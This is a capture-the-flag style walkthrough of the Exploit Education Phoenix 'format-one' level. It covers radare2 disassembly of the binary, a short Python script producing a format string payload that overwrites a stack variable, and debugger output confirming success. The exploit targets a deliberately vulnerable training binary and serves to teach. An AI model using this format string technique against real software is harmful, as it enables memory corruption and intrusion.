Exploit Education Phoenix x86 Format One
#Table of Contents
#Introduction
Format One is the continuation of the format string vulnerability challenges.
#Recon
$ r2 /opt/phoenix/i486/format-one
[0x080483d0]> aas
Cannot analyze at 0x08048650
[0x080483d0]> afl
0x08048338 1 17 sym._init
0x08048520 7 277 -> 112 sym.frame_dummy
0x08048610 5 49 sym.__do_global_ctors_aux
0x08048641 1 12 sym._fini
0x080484a0 8 113 -> 111 sym.__do_global_dtors_aux
0x08048114 57 604 -> 666 sym..interp
0x080483d0 1 62 entry0
0x080483c0 1 6 sym.imp.__libc_start_main
0x08048728 1 14 loc.__GNU_EH_FRAME_HDR
0x08048744 3 34 sym..eh_frame
0x08048780 1 10 obj.__EH_FRAME_BEGIN
0x08048410 4 49 -> 40 sym.deregister_tm_clones
0x080487a4 1 4 obj.__FRAME_END
0x08048565 6 163 main
0x08048380 1 6 sym.imp.puts
0x08048370 1 6 sym.imp.fgets
0x08048390 1 6 sym.imp.errx
0x080483a0 1 6 sym.imp.sprintf
0x08048360 1 6 sym.imp.printf
0x080483b0 1 6 sym.imp.exit
[0x080483d0]> s main
[0x08048565]> pdf
/ (fcn) main 163
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_3ch @ ebp-0x3c
| ; var int32_t var_2dh @ ebp-0x2d
| ; var int32_t var_2ch @ ebp-0x2c
| ; var int32_t var_ch @ ebp-0xc
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x8048404
| 0x08048565 8d4c2404 lea ecx, [arg_4h]
| 0x08048569 83e4f0 and esp, 0xfffffff0
| 0x0804856c ff71fc push dword [ecx - 4]
| 0x0804856f 55 push ebp
| 0x08048570 89e5 mov ebp, esp
| 0x08048572 51 push ecx
| 0x08048573 83ec44 sub esp, 0x44
| 0x08048576 83ec0c sub esp, 0xc
| 0x08048579 6850860408 push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education ; sym..rodata
| ; 0x8048650 ; "Welcome to phoenix/format-one, brought to you by https://exploit.education"
| 0x0804857e e8fdfdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048583 83c410 add esp, 0x10
| 0x08048586 a1a0980408 mov eax, dword [obj.stdin] ; sym..bss
| ; [0x80498a0:4]=0
| 0x0804858b 83ec04 sub esp, 4
| 0x0804858e 50 push eax
| 0x0804858f 6a0f push 0xf ; 15
| 0x08048591 8d45c4 lea eax, [var_3ch]
| 0x08048594 50 push eax
| 0x08048595 e8d6fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x0804859a 83c410 add esp, 0x10
| 0x0804859d 85c0 test eax, eax
| ,=< 0x0804859f 750f jne 0x80485b0
| | 0x080485a1 83ec08 sub esp, 8
| | 0x080485a4 689b860408 push str.Unable_to_get_buffer ; 0x804869b ; "Unable to get buffer"
| | 0x080485a9 6a01 push 1 ; 1
| | 0x080485ab e8e0fdffff call sym.imp.errx ; void errx(int eval)
| `-> 0x080485b0 c645d300 mov byte [var_2dh], 0
| 0x080485b4 c745f4000000. mov dword [var_ch], 0
| 0x080485bb 83ec08 sub esp, 8
| 0x080485be 8d45c4 lea eax, [var_3ch]
| 0x080485c1 50 push eax
| 0x080485c2 8d45d4 lea eax, [var_2ch]
| 0x080485c5 50 push eax
| 0x080485c6 e8d5fdffff call sym.imp.sprintf ; int sprintf(char *s, const char *format, ...)
| 0x080485cb 83c410 add esp, 0x10
| 0x080485ce 8b45f4 mov eax, dword [var_ch]
| 0x080485d1 3d6c4f7645 cmp eax, 0x45764f6c
| ,=< 0x080485d6 7416 je 0x80485ee
| | 0x080485d8 8b45f4 mov eax, dword [var_ch]
| | 0x080485db 83ec08 sub esp, 8
| | 0x080485de 50 push eax
| | 0x080485df 68b0860408 push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x ; 0x80486b0 ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n"
| | 0x080485e4 e877fdffff call sym.imp.printf ; int printf(const char *format)
| | 0x080485e9 83c410 add esp, 0x10
| ,==< 0x080485ec eb10 jmp 0x80485fe
| |`-> 0x080485ee 83ec0c sub esp, 0xc
| | 0x080485f1 68e8860408 push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x80486e8 ; "Well done, the 'changeme' variable has been changed correctly!"
| | 0x080485f6 e885fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x080485fb 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x80485ec
| `--> 0x080485fe 83ec0c sub esp, 0xc
| 0x08048601 6a00 push 0
\ 0x08048603 e8a8fdffff call sym.imp.exit ; void exit(int status)
[0x08048565]> agf
[0x08048565]> # int main (int argc, char **argv, char **envp);
.----------------------------------------------------------------------------------------.
| 0x8048565 |
| (fcn) main 163 |
| int main (int argc, char **argv, char **envp); |
| ; var int32_t var_3ch @ ebp-0x3c |
| ; var int32_t var_2dh @ ebp-0x2d |
| ; var int32_t var_2ch @ ebp-0x2c |
| ; var int32_t var_ch @ ebp-0xc |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x8048404 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ecx |
| sub esp, 0x44 |
| sub esp, 0xc |
| ; sym..rodata |
| ; 0x8048650 |
| ; "Welcome to phoenix/format-one, brought to you by https://exploit.education" |
| push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education |
| ; int puts(const char *s) |
| call sym.imp.puts;[oa] |
| add esp, 0x10 |
| ; sym..bss |
| ; [0x80498a0:4]=0 |
| mov eax, dword [obj.stdin] |
| sub esp, 4 |
| push eax |
| ; 15 |
| push 0xf |
| lea eax, [var_3ch] |
| push eax |
| ; char *fgets(char *s, int size, FILE *stream) |
| call sym.imp.fgets;[ob] |
| add esp, 0x10 |
| test eax, eax |
| jne 0x80485b0 |
`----------------------------------------------------------------------------------------'
f t
| |
| '-------------------------------------.
| |
| |
.----------------------------------. .-------------------------------------------------.
| 0x80485a1 | | 0x80485b0 |
| sub esp, 8 | | mov byte [var_2dh], 0 |
| ; 0x804869b | | mov dword [var_ch], 0 |
| ; "Unable to get buffer" | | sub esp, 8 |
| push str.Unable_to_get_buffer | | lea eax, [var_3ch] |
| ; 1 | | push eax |
| push 1 | | lea eax, [var_2ch] |
| ; void errx(int eval) | | push eax |
| call sym.imp.errx;[oc] | | ; int sprintf(char *s, const char *format, ...) |
`----------------------------------' | call sym.imp.sprintf;[od] |
| add esp, 0x10 |
| mov eax, dword [var_ch] |
| cmp eax, 0x45764f6c |
| je 0x80485ee |
`-------------------------------------------------'
f t
| |
| '-------------------.
.---------------------------------------------------' |
| |
.--------------------------------------------------------------------. .---------------------------------------------------------------------------.
| 0x80485d8 | | 0x80485ee |
| mov eax, dword [var_ch] | | sub esp, 0xc |
| sub esp, 8 | | ; 0x80486e8 |
| push eax | | ; "Well done, the 'changeme' variable has been changed correctly!" |
| ; 0x80486b0 | | push str.Well_done__the__changeme__variable_has_been_changed_correctly |
| ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n" | | ; int puts(const char *s) |
| push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x | | call sym.imp.puts;[oa] |
| ; int printf(const char *format) | | add esp, 0x10 |
| call sym.imp.printf;[oe] | `---------------------------------------------------------------------------'
| add esp, 0x10 | v
| jmp 0x80485fe | |
`--------------------------------------------------------------------' |
v |
| |
'--------------------------------------------------------. |
| .--------------'
| |
.-----------------------------------.
| 0x80485fe |
| ; CODE XREF from main @ 0x80485ec |
| sub esp, 0xc |
| push 0 |
| ; void exit(int status) |
| call sym.imp.exit;[of] |
`-----------------------------------'
From the above, the key points are the following:
- The input is read from STDIN via a call to
fgets
at address0x08048595
. It is saved atvar_3ch
with a size restriction of 15 bytes. var_3ch
is used as a format string forsprintf
at0x080485c6
.- The objective is to overwrite
var_ch
with0x45764f6c
, which is tested at0x080485d1
.
#Exploit
The exploit is almost identical to the one from the previous level, with the only exception being the value that needs to be written to var_ch
.
#!/usr/bin/env python3
import os
os.write(1, b'\x25\x33\x32\x78'+b'\x6c\x4f\x76\x45')
$ ./theScript.py > pattern
#!/usr/bin/env rarun2
stdio=/dev/pts/0
stdin=./pattern
Replace /dev/pts/0
with the output of the command tty
and ./pattern
with the full path to the file that contains the input to be read from the binary.
$ r2 -d /opt/phoenix/i486/format-one -r theProfile.rr2
[0xf7ef4d4b]> aas
Cannot analyze at 0x08048650
[0xf7ef4d4b]> db 0x080485c6
[0xf7ef4d4b]> dc
Welcome to phoenix/format-one, brought to you by https://exploit.education
hit breakpoint at: 80485c6
[0x080485c6]> dr
eax = 0xffb9951c
ebx = 0xf7f2a000
ecx = 0xf7f2ae08
edx = 0x00000000
esi = 0xffb995d4
edi = 0x00000001
esp = 0xffb994f0
ebp = 0xffb99548
eip = 0x080485c6
eflags = 0x00000292
oeax = 0xffffffff
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c 0x78323325 0x45764f6c 0xf7f2c100 0x00000000 %32xlOvE........
0xffb9951c 0x08048300 0x00000000 0x00000000 0x00000000 ................
0xffb9952c 0x00000000 0x00000000 0x00000000 0x00000000 ................
0xffb9953c 0x00000000 0x00000000 0xffb99560 0xffb995dc ........`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c 0x00000000 ....
[0x080485c6]> dso
hit breakpoint at: 80485cb
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c 0x78323325 0x45764f6c 0xf7f2c100 0x00000000 %32xlOvE........
0xffb9951c 0x20202020 0x20202020 0x20202020 0x20202020
0xffb9952c 0x20202020 0x20202020 0x32663766 0x30343161 f7f2a140
0xffb9953c 0x45764f6c 0x00000000 0xffb99560 0xffb995dc lOvE....`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c 0x45764f6c lOvE
[0x080485c6]> dc
Well done, the 'changeme' variable has been changed correctly!
#Conclusion
In this level, the approach was almost identical to that of the previous one with the only difference being that a specific value needed to be written to var_ch
.